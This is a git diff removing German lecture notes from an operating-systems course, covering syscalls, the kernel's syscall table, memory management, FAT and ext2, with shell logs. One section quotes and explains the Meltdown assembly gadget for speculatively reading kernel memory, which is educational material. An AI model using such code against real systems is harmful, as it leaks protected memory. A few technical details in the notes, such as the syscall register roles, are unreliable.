- - andere Befehle: mehrere Takte pro Befehl
-
- - RISC: typischerweise 1 Befehl pro Takt
-
---> Eine "lange" Schleife in RISC verbraucht weniger
-    Takte pro Schleifendurchlauf als "rep movsb".
---> RISC ist schneller.
-
-Systemaufrufe, 21.05.2021, 12:08:00
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-hello-2.c
-...
---> _IO_new_do_write (f, ...)
---> new_do_write (f, ...)
---> _IO_SYSWRITE (fp, ...)
---> __libc_write()
-Datei sysdeeps/unix/sysv/linux/write.c, Zeile 26
---> return SYSCALL_CANCEL (write, fd, buf, nbytes);
-
-b+ │0x7ffff7eb54f0 <__GI___libc_write>      lea    0xd61f9(%rip),%rax        # 0x7ffff7f8b6f0 │
-  >│0x7ffff7eb54f7 <__GI___libc_write+7>    mov    (%rax),%eax                                │
-   │0x7ffff7eb54f9 <__GI___libc_write+9>    test   %eax,%eax                                  │
-   │0x7ffff7eb54fb <__GI___libc_write+11>   jne    0x7ffff7eb5510 <__GI___libc_write+32>      │
-   │0x7ffff7eb54fd <__GI___libc_write+13>   mov    $0x1,%eax                                  │
-   │0x7ffff7eb5502 <__GI___libc_write+18>   syscall                                           │
-   │0x7ffff7eb5504 <__GI___libc_write+20>   cmp    $0xfffffffffffff000,%rax                   │
-   │0x7ffff7eb550a <__GI___libc_write+26>   ja     0x7ffff7eb5560 <__GI___libc_write+112>     │
-   │0x7ffff7eb550c <__GI___libc_write+28>   retq                                              │
-   │0x7ffff7eb550d <__GI___libc_write+29>   nopl   (%rax)                                     │
-   │0x7ffff7eb5510 <__GI___libc_write+32>   push   %r12                                       │
-   │0x7ffff7eb5512 <__GI___libc_write+34>   mov    %rdx,%r12                                  │
-   │0x7ffff7eb5515 <__GI___libc_write+37>   push   %rbp                                    
-
-lea: Lade einen Zeiger aus einer konstanten Tabelle in das rax-Register
-mov: Lade das, worauf der Zeiger zeigt, in das eax-Register
-test: Prüfe, welchen Wert eax hat
-jne: Jump if Not Equal = bedingter Sprung, falls ungleich 0 (Vermutung: Fehler)
-mov: Lade die Zahl 1 als Parameter für syscall in das eax-Register. 1 steht für "write".
-syscall: übergebe an den Kernel --> schreibt "Hello, world!\n" auf den Bildschirm
-cmp: Vergleiche den Wert von eax mit einer Zahl
-ja: Jump if Above (Prüfen auf Fehler)
-retq: Beende die Funktion
-
-syscall erwartet Parameter in den Prozessor-Registern:
-  eax: Nummer der Funktion, die aufgerufen werden soll
-  rsi: Zeiger auf die auszugebenden Daten
-       (siehe: https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-1.html)
-  ebx oder edx: Länge der auszugebenden Daten
-  (ggf. weitere Register)
-
-Kernel, 25.05.2017, 17:53:23
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Fragestellung: Wir haben in der glibc beim Maschinenbefehl "syscall"
-aufgehört. Wie geht es nun im Kernel weiter? Wer nimmt den Funktions-
-aufruf entgegen?
-
-Suchbegriff: sys_call_table
-
---> Es gibt eine Tabelle, die für jeden der durchnumerierten Systemaufrufe
-    einen Zeiger auf die aufzurufende Funktion enthält.
-
---> Der Maschinenbefehl "syscall" ruft eine Funktion innerhalb des
-    Kernels auf. Wo steht, welche Funktion das ist?
-
-arch/x86/entry/syscall_64.c: Defnition des Arrays sys_call_table
-
-Initialisiertes Array von Zeigern auf Funktionen.
-Zunächst zeigen alle Zeiger auf die Funktion sys_ni_syscall(),
-die lediglich eine Fehlermeldung zurückgibt ("nicht implementiert").
-Danach werden auf diejenigen Funktionen, die es tatsächlich gibt
-Zeiger initialisiert. Dies erfolgt durch ein #include der Datei
-/usr/src/linux-headers-4.19.0-8-amd64/arch/x86/include/generated/asm/syscalls_64.h
-mit vorheriger Definition eines Präprozessor-Macros __SYSCALL().
-
-  asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
-          /*
-           * Smells like a compiler bug -- it doesn't work
-           * when the & below is removed.
-           */
-          [0 ... __NR_syscall_max] = &sys_ni_syscall,
-  #include <asm/syscalls_64.h>
-  -->     [0] = __x64_sys_read,
-          [1] = __x64_sys_write,
-          [2] = __x64_sys_open,
-          ...
-  };
-
-Vorher wurden mit demselben Trick alle Funktionen vorwärts-deklariert:
-
-  #define __SYSCALL_64(nr, sym, qual) extern asmlinkage long sym(const struct pt_regs *);
-  #include <asm/syscalls_64.h>
-  -->  extern asmlinkage long __x64_sys_read(const struct pt_regs *);
-       extern asmlinkage long __x64_sys_write(const struct pt_regs *);
-       extern asmlinkage long __x64_sys_open(const struct pt_regs *);
-       ...
-  #undef __SYSCALL_64
-
-Wie können wur nun dafür sorgen, daß der Befehl syscall dieses Array
-auch benutzt?
-
-arch/x86/entry/entry_64.S enthält eine Funktion entry_SYSCALL_64,
-die eine Funktion "do_syscall_64()" aufruft
-und sich über "USERGS_SYSRET64" beendet.
-Dies ist ein Präprozessor-Makro, der zu "swapgs; sysretq;" expandiert
-(Definition in include/asm/irqflags.h).
-
-Woher kommt die Include-Datei in "generated"?
-arch/x86/entry/syscalls/Makefile ruft das Shell-Skript syscalltbl.sh auf.
-Dieses liest syscall_64.tbl und erzeugt daraus syscall_64.h.
-
-Damit haben wir die Funktion gefunden, die den Syscall entgegennehmen soll.
-Daraus ergeben sich neue Fragen:
-1. Wie sorge ich dafür, daß sie tatsächlich bei "syscall" aufgerufen wird?
-2. Wie geht es von dort aus weiter bis zu der Tabelle "sys_call_table"?
-
-zu 1.:
-Suche nach "entry_SYSCALL_64" liefert:
-arch/x86/kernel/cpu/common.c: wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64);
-
-Was bedeutet "wrmsrl"?
-https://sites.google.com/site/masumzh/articles/hypervisor-based-virtualization/compute-virtualization
-"As shown below, the content of the IA32_LSTAR MSR (Model Specific Register)
-is copied to the instruction pointer register (RIP) [...]"
-
-Demnach ist das Prozessorregister "IA32_LSTAR MSR" die Einsprungadresse,
-zu der der "syscall"-Aufruf springen soll.
-Um das Register "IA32_LSTAR MSR" zu setzen, gibt es den Befehl "wrmsrl"
-(Write MSR (long = 32 Bit)).
-Offensichtlich ist das MSR ein Array, und "IA32_LSTAR" ist der Index.
-
-zu 2.:
-arch/x86/entry/common.c enthält die C-Funcktion do_syscall_64().
-Diese enthält die Zeile "regs->ax = sys_call_table[nr](regs);", also den
-Aufruf der Funktion, auf die ein Zeiger in der tabelle "sys_call_table"
-an der Stelle "nr" gespeichert ist.
-
---> Weiter geht's mit dem Eintrag in sys_call_table,
-    also mit der Implementation von sys_write().
-
-Die Tabelle wird benutzt in der Funktion do_syscall_64():
-
-  regs->ax = sys_call_table[nr](regs);
-
-Wo wird die Funktion __x64_sys_write definiert?
-Wenn man lange genug sucht, findet man: arch/x86/include/asm/syscall_wrapper.h
-Dort steht eine kleine Funktion __x64_sys_write(), die ihrerseits eine Funktion
-__se_sys_write() aufruft.
-
-Der Präprozessor-Makro __SYSCALL_DEFINEx() wird über einen anderen Präprozessor-Makro
-SYSCALL_DEFINEx() aufgerufen, der in include/linux/syscalls.h definiert wird
-und seinerseits über SYSCALL_DEFINE3() aufgerufen wird, der ebenfalls in
-include/linux/syscalls.h definiert wird.
-
-Wenn man lange genug sucht, findet man: fs/read_write.c
-SYSCALL_DEFINE3(write, unsigned int, fd, const char __user *, buf, size_t, count)
-
-Dort wird eine Funktion definiert, die ihrerseits eine Funktion ksys_write() aufruft.
-Diese enthält:
-
-  ret = vfs_write(f.file, buf, count, &pos);
-
-Hier passiert das eigentliche Schreiben.
-
-Ebenfalls in fs/read_write.c:
-
-  ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
-
-Diese ruft auf:
-
-  ret = __vfs_write(file, buf, count, pos);
-
-Ebenfalls in fs/read_write.c:
-
-  ssize_t __vfs_write(struct file *file, const char __user *p, size_t count, loff_t *pos)
-
-Diese ruft auf:
-
-  if (file->f_op->write) return file->f_op->write(file, p, count, pos);
-
-:-)
-
-Jetzt fehlt nur noch: Wie bekommt f_op->write den Wert, den das Modul hinterlegt hat?
-
-Der Funktion wird ein Parameter "file" übergeben.
-Dies ist eine "struct file", die u.a. ein Feld "f_op" enthält,
-das auf ein weiteres struct mit Callback-Funktionen zeigt.
-
-Wie kommen die "richtigen" Callback-Funktionen dort hinein?
-Eigentlich müßte dies bei register_chrdev() passieren.
-Schauen wir uns daher an, was register_chrdev() eigentlich macht.
-
-Dies ist definiert in include/linux/fs.h und ruft die Funktion
-__register_chrdev() auf.
-
-Diese wiederum ist definiert in fs/char_dev.c.
-Sie alloziert eine cdev-Struktur und speichert darin die fops.
-Die cdev-Struktur wird dann mittels cdev_add() in eine Liste eingefügt.
-Hierfür ruft cdev_add() die Funktion kobj_map() auf.
-Diese Funktion wird in drivers/base/map.c definiert
-und legt die cdev-Struktur in einer Hash-Tabelle ab.
-Der letzte Parameter "data" ist dabei der Zeiger auf die cdev-Strutur,
-die auch die fops enthält.
-
-Wie kommen nun die fops von der Hash-Tabelle aus in die file-Struktur?
-
-Vermutung: Dies geschieht beim Öffnen der Datei.
-
-In fs/open.c gibt es eine Funktion vfs_open().
-Diese sucht den zur Datei gehörenden inode heraus und ruft damit do_dentry_open() auf.
-
-Theorie der Dateisysteme: Dateien werden durch "inodes" repräsentiert.
-
-include/linux/fs.h: Definition "inode"
-
-  Die "struct inode" enthält ein Datenfeld "i_rdev", in dem die Major- und Minor-Nr.
-  der Gerätedatei gemeinsam gespeichert sind.
-
-  --> Sobald wir einen inode kennen, kennen wir Major- und Minor-Nr. der Gerätedatei.
-
-do_dentry_open() schreibt den inode in die file-Struktur,
-holt die fops aus dem inode und legt sie direkt in der file-Struktur ab.
-
-# Das einzige, was jetzt noch fehlt: Wie kommen die fops in den inode?
diff --git a/20210528/bs-20210528.txt b/20210528/bs-20210528.txt
deleted file mode 100644
index 77d27c416c291050c618df81f41e309c1518aaf6..0000000000000000000000000000000000000000
--- a/20210528/bs-20210528.txt
+++ /dev/null
@@ -1,230 +0,0 @@
-Hauptspeicherverwaltung, 28.05.2021, 12:09:52
-=============================================
-
-Intel-16-Bit-Rechner ("Real Mode")
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Segment- und Offset-Adresse
-
-B800:0010: 67
-`--' `--'
- |    |
- |    `--->  0010     Offset
- `--------> B800    + 16 * Segment
-            -----
-            B8010   = physikalische Adresse
-
-Grund:
-Hierdurch möglich, Programme in 16-Byte-Schritten
-an beliebige Stellen im Speicher zu verschieben
-"Relokation"
-Adressen, die das Programm verwendet, sind grundätzlich
-nur Offset-Adressen. Das Betriebssystem vergibt die
-Segment-Adressen.
-
-Segment-Register:
- - CS: Codesegment
- - DS: Datensegment
- - ES: Extra-Segment
- - SS: Stack-Segment
-... jeweils bis zu 64 kiB
-
---> Das Betriebssystem kann dem Programm bis zu 256 kiB zur Verfügung stellen.
-    Dies sollte für alle Zeiten reichen. ;-)
-
---> Programme, die mehr als 256 kiB benötigen,
-    manipulieren die Segmentregister selbst.
-    Damit kann das Programm bis zu 1 MiB ansprechen.
-    Dies sollte für alle Zeiten reichen. ;-)
-
-Intel-32-Bit-Rechner ("Protected Mode")
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Offset-Adressen: 32 Bit
-Segment-Adresse: wird zu "Selektor" = Index für ein Array,
-                 das sich intern im Prozessor befindet
-                 und die eigentlichen Segmente beschreibt --> "Deskriptoren"
-
-Inhalt der Deskriptorentabelle:
- - Lage des Segments im Speicher (als 32-Bit-Wert)
- - Länge des Segments im Speicher (als 32-Bit-Wert)
-   (eigentlich immer 4 GiB; läßt sich auf diese Weise
-   mit Hardware-Untersützung begrenzen)
-   Bei Zugriff außerhalb des zugewiesenen Segments wird im
-   Prozessor eine "Exception" ausgelöst (ähnlich Interrupt).
- - Präsenz-Bit: Segmente können entweder im physikalischen Speicher vorhanden sein
-   oder (z.B. auf Festplatte) ausgelagert sein. Bei Zugriff auf ein ausgelagertes
-   Segment wird eine Exception ausgelöst.
- - Privilegierung: Wer darf dieses Segment nutzen?
-   Der Kernel hat mehr Rechte als die Anwenderprogramme.
- - Segmenttyp: Ist dieses Segment lesbar/schreibbar/ausführbar?
-
-Vorteile:
- - Maximale Speichergröße: 4 GiB statt 256 kiB.
-   Dies sollte für alle Zeiten reichen. ;-)
- - Schutz des Kernels und der Anwendungsprogramme vor gegenseitiger Manipulation
- - Auslagern von Speicher wird möglich.
-
-Was noch fehlt:
- - Auslagern von Speicher nur segmentweise möglich.
-   --> Ein Programm kann immer nur als Ganzes ausgelagert werden.
-
-Memory Management Unit (MMU)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-https://de.wikipedia.org/wiki/Memory_Management_Unit:
-
- - Auslagern von z.Zt. nicht benötigtem Speicher
- - Verzögertes Bereitstellen von angefordertem, aber noch nicht genutztem Speicher.
- - Isolation von Prozessen untereinander und zwischen Prozess und Betriebssystem
- - Sharing von einzelnen Seiten zwischen Prozessen (Shared Memory)
- - Non-Sharing von Seiten zwischen Threads eines Prozesses (Thread-local storage)
- - Einblenden von Dateien als Speicher (Memory-mapped files)
-
-Die MMU unterteilt das dem Programm zugeordnete Segment
-und den physikalischen Speicher in "Seiten" (typischerweise 4 kiB)
-und ordnet diese einander zu, nicht notwendigerweise linear.
-Auch können Speicherseiten ausgelagert sein. (Damit wird die
-bereits im Protected Mode realisierte Auslagerung von Segmenten
-überflüssig.)
-
-Es können also z.B. zwei verschiedene Programme dieselbe Speicheradresse "sehen";
-dahinter verbergen sich jedoch zwei unterschiedliche Adressen im physikalischen
-Speicher.
-
-Massenspeicherverwaltung, 28.05.2021, 13:49:15
-==============================================
-
-"Dateisystem" = Schema, wie man Daten auf dem Datenträger ablegt und wiederfindet
-
-Beispiel: test-tab.txt
-
-  Datenträger: USB-Stick
-  Größe: 4 GB
-  Inhalt:
-
-    Adresse   Länge   Datei
-    0         14      test-1.txt
-    14        28      test-2.txt
-    ...       ...     ...
-
---> mit auf dem Datenträger speichern
-
-File Allocation Table (FAT)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
- - Unterteilung des Datenträgers in "Cluster" von fester Größe,
-   z.B. 1 kiB, 2 kiB, 4 kiB (bis hierhin: gut), ..., 64 kiB (schlecht)
- 
- - File Allocation Table (FAT) = Tabelle aller Cluster
-   Die maximale Größe der Tabelle kann 2^12, 2^16 oder 2^32 betragen.
-   Jeder Eintrag ist 12 oder 16 oder 32 Bit groß und kann somit
-   als Index für die Tabelle genutzt werden.
-
-   --> Maximale Größe des Datenträgers = Größe der FAT * Größe des Clusters
-       Beispiel: FAT16: 2^16 * 64 kiB = 4 GiB,
-       Problem mit Vorzeichen: nur 2 GiB
-
-   Bei "vernünftiger" Cluster-Größe von 4 kiB: 2^16 * 4 kiB = 256 MiB,
-   mit Vorzeichenproblem sogar nur 2^15 * 4 kiB = 128 MiB
-
- - Bedeutung der Werte am Beispiel FAT16:
-   0000:          Cluster ist nicht von einer Datei (oder einem Verzeichnis) belegt
-   0002 bis FFF6: Cluster ist Teil einer Cluster-Kette; Wert = nächster Cluster in Kette
-   FFF7:          Cluster ist defekt
-   FFF8 bis FFFF: Cluster ist der letzte Cluster einer Cluster-Kette
-
- - Zugriff auf eine Datei über deren ersten Cluster, z.B. 0004,
-   an den sich eine verkettete Liste von Clustern anschließt.
-   Länge der Datei: 5 Cluster
-
-   FAT
-     0000
-     0000
-     0000
-     0000
-     0005  <-- Cluster Nr. 0004 = erster Cluster der Kette
-     0006  <-- 2. Cluster der Kette
-     0008
-     FFF7  <-- defekten Cluster überspringen
-     0009
-     FFF8  <-- letzter Cluster der Kette
-     0000
-     0000
-     ...
-
-   --> Eine Datei belegt immer mindestens 1 Cluster.
-       Daher sind große Cluster (z.B. 64 kiB) schlecht.
-
- - Zur Sicherheit befindet sich die FAT zweimal auf dem Datenträger.
-   Damit sind die Cluster 0 und 1 belegt.
-   Daher: 1. Cluster für Dateien = Nr. 0002
-
- - Nach den FATs: Stamm- oder Wurzelverzeichnis (root directory)
-
-   Tabelle fester Größe
-   Jeder Eintrag:
-    - Dateiname: 11 Bytes, 8 Zeichen für Dateinamen, 3 für "Erweiterung", z.B. "COMMAND.COM"
-    - Datei-Attribute: 1 Byte, z.B.:
-       - Lesen/Schreiben
-       - versteckte Dateien
-       - "System-Datei"
-       - "Archiv-Bit" (für Backup-Software)
-       - Datei ist Unterverzeichnis
-       - Datei ist Volume-Label (= Name des Datenträgers)
-    - Datum und Zeit der letzten Änderung
-       - Speicherung: 5 Bit für Stunde, 6 für MInute, 5 für Sekunde
-         --> Sekunden mit 2s Auflösung
-    - ...
-    - Start-Cluster der Datei
-    - Länge der Datei in Bytes
-
- - Problem: Fragmentierung
-   
-   Dateien sind als verkettete Listen gespeichert.
-
-   Datei A speichern:
-
-        A
-        A
-        A
-        A
-
-   Datei B speichern:
-
-        A
-        A
-        A
-        A
-        B
-        B
-        B
-        B
-
-   Datei A löschen:
-
-        -
-        -
-        -
-        -
-        B
-        B
-        B
-        B
-
-   Datei C speichern:
-
-        C
-        C
-        C
-        C
-        B
-        B
-        B
-        B
-        C
-        C
-        C
-        C
-
-   --> Datei C ist fragmentiert.
-
-   Nach längerer Benutzung sind FAT-Datenträger häufig komplett fragmentiert.
-   --> langsamer
-   --> Defragmentierung sinnvoll.
diff --git a/20210528/fat-1.txt b/20210528/fat-1.txt
deleted file mode 100644
index 46926ac620314b6f1cff1c525ff9cc066ff01793..0000000000000000000000000000000000000000
--- a/20210528/fat-1.txt
+++ /dev/null
@@ -1,59 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210528> for x in $(seq 5); do touch test-$x.txt; sleep 1s; done
-cassini/home/peter/bo/2021ss/bs/20210528> ls -lrt
-insgesamt 72
--rw-r--r-- 1 peter peter 51036 Mai 28 12:57 mmu.xcf.gz
--rw-r--r-- 1 peter peter   160 Mai 28 14:05 test-tab.txt
--rw-r--r-- 1 peter peter  6361 Mai 28 14:46 bs-20210528.txt
--rw-r--r-- 1 peter peter    14 Mai 28 14:47 test-1.txt
--rw-r--r-- 1 peter peter    19 Mai 28 14:47 test-2.txt
--rw-r--r-- 1 peter peter     0 Mai 28 14:47 test-3.txt
--rw-r--r-- 1 peter peter     0 Mai 28 14:47 test-4.txt
--rw-r--r-- 1 peter peter     0 Mai 28 14:47 test-5.txt
-cassini/home/peter/bo/2021ss/bs/20210528> ls --full-time -lrt
-insgesamt 72
--rw-r--r-- 1 peter peter 51036 2021-05-28 12:57:49.619244900 +0200 mmu.xcf.gz
--rw-r--r-- 1 peter peter   160 2021-05-28 14:05:19.225937663 +0200 test-tab.txt
--rw-r--r-- 1 peter peter  6361 2021-05-28 14:46:19.903177871 +0200 bs-20210528.txt
--rw-r--r-- 1 peter peter    14 2021-05-28 14:47:17.859771765 +0200 test-1.txt
--rw-r--r-- 1 peter peter    19 2021-05-28 14:47:18.863782073 +0200 test-2.txt
--rw-r--r-- 1 peter peter     0 2021-05-28 14:47:19.867792382 +0200 test-3.txt
--rw-r--r-- 1 peter peter     0 2021-05-28 14:47:20.875802732 +0200 test-4.txt
--rw-r--r-- 1 peter peter     0 2021-05-28 14:47:21.883813083 +0200 test-5.txt
-cassini/home/peter/bo/2021ss/bs/20210528> mount /media/usb1/
-mount: /media/usb1: wrong fs type, bad option, bad superblock on /dev/sdb1, missing codepage or helper program, or other error.
-cassini/home/peter/bo/2021ss/bs/20210528> echo sudo mkdosfs /dev/sdb1
-sudo mkdosfs /dev/sdb1
-cassini/home/peter/bo/2021ss/bs/20210528> sudo mkdosfs /dev/sdb1
-[sudo] Passwort für peter:
-mkfs.fat 4.1 (2017-01-24)
-cassini/home/peter/bo/2021ss/bs/20210528> mount /media/usb1/
-cassini/home/peter/bo/2021ss/bs/20210528> ls -l /media/usb1/
-insgesamt 0
-cassini/home/peter/bo/2021ss/bs/20210528> cp -pi test-*.txt /media/usb1/
-cassini/home/peter/bo/2021ss/bs/20210528> ls -lrt /media/usb1/
-insgesamt 12
--rwxr-xr-x 1 peter peter 160 Mai 28 14:05 test-tab.txt
--rwxr-xr-x 1 peter peter  14 Mai 28 14:47 test-1.txt
--rwxr-xr-x 1 peter peter  19 Mai 28 14:47 test-2.txt
--rwxr-xr-x 1 peter peter   0 Mai 28 14:47 test-3.txt
--rwxr-xr-x 1 peter peter   0 Mai 28 14:47 test-4.txt
--rwxr-xr-x 1 peter peter   0 Mai 28 14:47 test-5.txt
-cassini/home/peter/bo/2021ss/bs/20210528> ls -lrt --full-time /media/usb1/
-insgesamt 12
--rwxr-xr-x 1 peter peter 160 2021-05-28 14:05:19.000000000 +0200 test-tab.txt
--rwxr-xr-x 1 peter peter  14 2021-05-28 14:47:17.000000000 +0200 test-1.txt
--rwxr-xr-x 1 peter peter  19 2021-05-28 14:47:18.000000000 +0200 test-2.txt
--rwxr-xr-x 1 peter peter   0 2021-05-28 14:47:19.000000000 +0200 test-3.txt
--rwxr-xr-x 1 peter peter   0 2021-05-28 14:47:20.000000000 +0200 test-4.txt
--rwxr-xr-x 1 peter peter   0 2021-05-28 14:47:21.000000000 +0200 test-5.txt
-cassini/home/peter/bo/2021ss/bs/20210528> umount /media/usb1
-cassini/home/peter/bo/2021ss/bs/20210528> mount /media/usb1
-cassini/home/peter/bo/2021ss/bs/20210528> ls -lrt --full-time /media/usb1/
-insgesamt 12
--rwxr-xr-x 1 peter peter 160 2021-05-28 14:05:18.000000000 +0200 test-tab.txt
--rwxr-xr-x 1 peter peter  14 2021-05-28 14:47:16.000000000 +0200 test-1.txt
--rwxr-xr-x 1 peter peter   0 2021-05-28 14:47:18.000000000 +0200 test-3.txt
--rwxr-xr-x 1 peter peter  19 2021-05-28 14:47:18.000000000 +0200 test-2.txt
--rwxr-xr-x 1 peter peter   0 2021-05-28 14:47:20.000000000 +0200 test-5.txt
--rwxr-xr-x 1 peter peter   0 2021-05-28 14:47:20.000000000 +0200 test-4.txt
-cassini/home/peter/bo/2021ss/bs/20210528>
diff --git a/20210528/mmu.png b/20210528/mmu.png
deleted file mode 100644
index caa39cb2e987cff55d5fb25c61d075c745f6c630..0000000000000000000000000000000000000000
Binary files a/20210528/mmu.png and /dev/null differ
diff --git a/20210528/mmu.xcf.gz b/20210528/mmu.xcf.gz
deleted file mode 100644
index 9c9f745196c8a87c30a207f39c8588b4dcec85fd..0000000000000000000000000000000000000000
Binary files a/20210528/mmu.xcf.gz and /dev/null differ
diff --git a/20210528/test-1.txt b/20210528/test-1.txt
deleted file mode 100644
index af5626b4a114abcb82d63db7c8082c3c4756e51b..0000000000000000000000000000000000000000
--- a/20210528/test-1.txt
+++ /dev/null
@@ -1 +0,0 @@
-Hello, world!
diff --git a/20210528/test-2.txt b/20210528/test-2.txt
deleted file mode 100644
index d7e5cff47f0303c2d892d3e790e00552759b639c..0000000000000000000000000000000000000000
--- a/20210528/test-2.txt
+++ /dev/null
@@ -1 +0,0 @@
-Dies ist ein Test.
diff --git a/20210528/test-3.txt b/20210528/test-3.txt
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/20210528/test-4.txt b/20210528/test-4.txt
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/20210528/test-5.txt b/20210528/test-5.txt
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/20210528/test-tab.txt b/20210528/test-tab.txt
deleted file mode 100644
index e7f7da6021c9b3bc8cd82215516f4f374a25ca7a..0000000000000000000000000000000000000000
--- a/20210528/test-tab.txt
+++ /dev/null
@@ -1,8 +0,0 @@
-Datenträger: USB-Stick
-Größe: 4 GB
-Inhalt:
-
-  Adresse   Länge   Datei
-  0         14      test-1.txt
-  14        28      test-2.txt
-  ...       ...     ...
diff --git a/20210604/bs-20210604.txt b/20210604/bs-20210604.txt
deleted file mode 100644
index 66c42207450821cc5674a05649657c5cb69b5a16..0000000000000000000000000000000000000000
--- a/20210604/bs-20210604.txt
+++ /dev/null
@@ -1,114 +0,0 @@
-Ergänzung: Hauptspeicherverwaltung, 04.06.2021, 11:44:33
-========================================================
-
-Gemeinsamer Speicherzugriff mehrerer Programme – Shared Memory
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Ein Programm kann Shared Memory anfordern
-und wie eine Datei ansprechen: Name, read(), write(), close()
-
-Es ist möglich, diese "Datei" in einen Zeiger umzuwandeln.
-Ab da kann ich auf den Shared Memory "normal" zugreifen.
-
-Es ist auch möglich, eine echte Datei in einen Zeiger umzuwandeln.
-Ab da kann ich auf die Datei wie auf Speicher zugreifen.
-Achtung: Die Datei muß mindestens 1 Byte groß sein.
-Es ist nicht möglich, auf diese Weise die Länge der Datei zu ändern,
-sondern ich kann dort nur Bytes überschreiben.
-
-Anwendungen:
-
- - Shared Memory: Kommunikation zwischen mehreren Programmen
-
- - Ganz andere Art, mit Dateien umzugehen, z.B.:
-   Eine Datei, die ein binär abgespeichertes Array enthält,
-   vom Programm aus als Array ansprechen.
-
- - Direktes Ansprechen von Speicherzellen über die Gerätedatei /dev/mem
-
-   cassini/home/peter/bo/2021ss/bs/20210604> ls -l /dev/mem
-   crw-r----- 1 root kmem 1, 1 Apr  6 09:59 /dev/mem
-
- - Anwendung davon: Ansprechen der GPIOs auf Einplatinen-Computern,
-   z.B. Olimex oder Raspberry Pi
-   Nach einem mmap auf die Datei /dev/mem können wir
-   über einen Zeiger direkt physikalische Speicherzellen ansprechen.
-
-Literatur:
-https://openbook.rheinwerk-verlag.de/linux_unix_programmierung/Kap18B-003.htm
-
-
-                             Pause bis 13:45 Uhr
-                             *******************
-
-
-13:17 Uhr: Ich muß *jetzt* zur Autowerkstatt. Für den Fall, daß ich
-nicht rechtzeitig zurück bin, schaut Euch bitte schon mal die Seite
-https://de.wikipedia.org/wiki/Meltdown_(Sicherheitslücke) an und
-versucht, das dortige Beispielprogramm zu verstehen. Bis nachher!
-
-Die Meltdown-Sicherheitslücke, 04.06.2021, 14:23:55
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Sicherheitslücke: Der Prozessor liest mehrere Befehle im Voraus,
-bevor er sie ausführt. Dadurch wird es möglich, Speicher ohne
-Berechtigung auszulesen.
-
-  ; rcx = kernel address
-  ; rbx = probe array
-  retry:
-  movzx rax, byte [rcx]        ; Lädt den Inhalt der auszulesenden Speicherstelle in Register rax.
-                               ; Das führt zu einer Ausnahmebehandlung.
-                               ; Der folgende Code wird nur prozessorintern im Voraus ausgeführt.
-  shl rax, 12                  ; Multipliziert den Inhalt des 64-bit Registers rax mit 4096,
-                               ; so dass es nun eine Seitenadresse enthält, die vom Inhalt der
-                               ; auszulesenden Speicherstelle abhängt.
-  jz retry                     ; Beginnt von vorn, wenn das Zero-Flag (und damit hier auch rax)
-                               ; gleich 0 ist (Auch bei [rcx]=0 keine Endlosschleife, da aufgrund
-                               ; der Ausnahmebehandlung die out-of-order Ausführung schließlich
-                               ; abgebrochen wird).
-  mov rbx, qword [rbx + rax]   ; Greift auf eine Speicherstelle auf der Seite zu, deren Index innerhalb
-                               ; des probe arrays rbx in rax steht. Dies lädt eine Seite in den Cache,
-                               ; deren Adresse vom Inhalt der auszulesenden Speicherstelle abhängt.
-
-  Quelle: https://de.wikipedia.org/w/index.php?title=Meltdown_(Sicherheitsl%C3%BCcke)&oldid=210862049
-  Autor: siehe https://de.wikipedia.org/w/index.php?title=Meltdown_(Sicherheitsl%C3%BCcke)&action=history
-  Lizenz: CC BY-SA 3.0 Unported
-
-Wir lesen eine nicht lesbare Speicherzelle und stürzen ab.
-In den danach stehenden Befehlen verwenden wir den (nicht)
-gelesenen Wert als Index für ein Array von Speicherseiten,
-d.h., 4096-Byte-Blöcken.
-Dadurch ordnet der Kernel dieser bislang rein virtuellen
-Speicherseite physikalischen Speicher zu.
-Wenn ich danach noch einmal auf dieselbe Speicherseite zugreife,
-geschieht dies schneller, als wenn sie nicht im Voraus geladen
-wäre. Ein zweiter Thread macht das und mißt die Zeit.
-
-Massenspeicherverwaltung, 04.06.2021, 14:59:19
-==============================================
-
-In speziellen Fällen können auch größere Blockgrößen sinnvoll sein:
-
- - wenn das Dateisystem vorwiegend mit eher großen Dateien genutzt wird
-
- - wenn der Datenträger physikalisch mit einer größeren Blockgröße arbeitet
-   --> Vermeidung mehrfachen Speicherns auf Flash-Speicher
-
-Das ext2-Dateisystem, 04.06.2021, 15:05:30
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Superblock: globale Informationen über das Dateisystem
-
-inode (Indexknoten): enthält alle Informationen über eine Datei
-  bis auf den Dateinamen und die eigentlichen Daten.
-  feste Größe
-
-15 Zeiger auf die Daten:
- - 12 Zeiger direkt auf Datenblöcke
- - 1 Zeiger auf einen Block mit 128 weiteren Zeigern
- - 1 Zeiger auf einen Block mit 128 weiteren Zeigern auf jeweils 128 weitere Zeiger
- - 1 Zeiger auf einen Block mit 128 weiteren Zeigern auf jeweils 128 weitere Zeiger auf jeweils 128 weitere Zeiger
- - Bei sehr kleinen Dateien wird der Inhalt anstelle der Zeiger
-   direkt im inode gespeichert.
-
-Verzeichnis = spezielle Datei, repräsentiert durch einen inode
-  Einträge: Name --> inode
-  Hard Link = 2 Namen für denselben inode
diff --git a/20210604/shm-1a.c b/20210604/shm-1a.c
deleted file mode 100644
index c404db3bdb22a6b0a0a1e30b47b4b2de0a048f12..0000000000000000000000000000000000000000
--- a/20210604/shm-1a.c
+++ /dev/null
